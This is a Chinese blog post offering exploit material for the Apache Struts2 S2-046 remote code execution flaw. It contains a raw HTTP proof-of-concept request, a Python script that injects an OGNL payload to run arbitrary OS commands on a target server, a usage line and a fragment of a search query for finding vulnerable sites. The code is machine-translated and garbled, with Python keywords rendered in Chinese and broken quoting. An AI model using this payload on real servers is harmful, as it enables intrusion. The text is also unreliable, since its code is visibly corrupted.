st2 046漏洞利用sh and py腳本(搞起來)
本篇文章:華盟大老李原創。文末附批量查詢語句前言:
3月21日凌晨,Apache Struts2官方發布了一條安全公告,該公告指出Apache Struts2的Jakarta Multipart解析器插件存在遠程代碼執行漏洞,漏洞編號為CVE-2017-5638。攻擊者可以使用該插件上傳文件,通過修改Content-Length頭的值,並且在Content-Disposition value中添加惡意代碼,導致遠程代碼執行。
該漏洞與之前S2-045漏洞成因及原理一樣(CVE漏洞編號是同一個),只是漏洞利用的欄位發生了改變。
昨天還在搞045今天046就出來了
poc使用教程
代碼:POST /doUpload.action HTTP / 1.1
Host:localhost:8080
Content-Length:10000000 Content-Type:multipart / form-data; border = ---- WebKitFormBoundaryAnmUgTEhFhOZpr9z 連接:close ------ WebKitFormBoundaryAnmUgTEhFhOZpr9zContent-Disposition:form-data; name =「upload」; filename =「%{#context [com.opensymphony.xwork2.dispatcher.HttpServletResponse]。addHeader(X-Test,Kaboom)}」
Content-Type:text / plain Kaboom ------ WebKitFormBoundaryAnmUgTEhFhOZpr9z - -利用方式:
哦,對,記住,要給777許可權,不然無法執行哦,
py腳本代碼:#author = Jumbo
#website:http://www.xxx.com導入請求
import sys
嘗試:
url = sys.argv [1]
headers = {Connection:close,Content-Type:multipart / form-data; boundary = --------------------------- 735323031399963166993862150,User-Agent:Mozilla / 5.0(Windows NT 6.1; WOW64)AppleWebKit /537.36(KHTML,like Gecko)Chrome / 36.0.1985.143 Safari / 537.36}
data =「----------------------------- 735323031399963166993862150 r nContent-Disposition:form-data; name = 」foo 「; filename = 」%{(#nike =multipart / form-data)(#dm = @ ognl.OgnlContext @ DEFAULT_MEMBER_ACCESS)(#_ memberAccess?(#_ memberAccess =#dm) [com.opensymphony.xwork2.ActionContext.container])。(#ognlUtil =#container.getInstance(@ com.opensymphony.xwork2.ognl.OgnlUtil @ class))。(#ognlUtil.getExcludedPackageNames()。clear() )。(#ognlUtil.getExcludedClasses()。clear())。(#context.setMemberAccess(#dm))))(#cmd =「sys.argv [2]」 java.lang.System@getProperty(os.name)。toLowerCase()。contains(win))。(#cmds =(#iswin?{cmd.exe,/ c,#cmd (#p = new java.lang.ProcessBuilder(#cmds))。(#p.redirectErrorStream(true))。(#process =#p.start())。(#ros =(@ org.apache.struts2.ServletActionContext@getResponse()。getOutputStream()))(@ org.apache.commons.io.IOUtils@copy(#process。 getInputStream(),#ros))。(#ros.flush())} 0b 「 r nContent-Type:text / plain r n r nx r n ------ ----------------------- 735323031399963166993862150 - r n r n「
get = requests.post(url,data = data,headers = headers)
列印get.content
除:
print用法:struts2-046.py http://xxx.com whoami
site.kr)inurl:(「.action」)
推薦閱讀:
※竊取 OAuth 令牌繞過 Airbnb 身份驗證
※F5設備中存在一個Ticketbleed漏洞 可被遠程攻擊者利用
※揭秘Project Zero:谷歌內部的超級黑客團隊、網路世界的「孤膽英雄」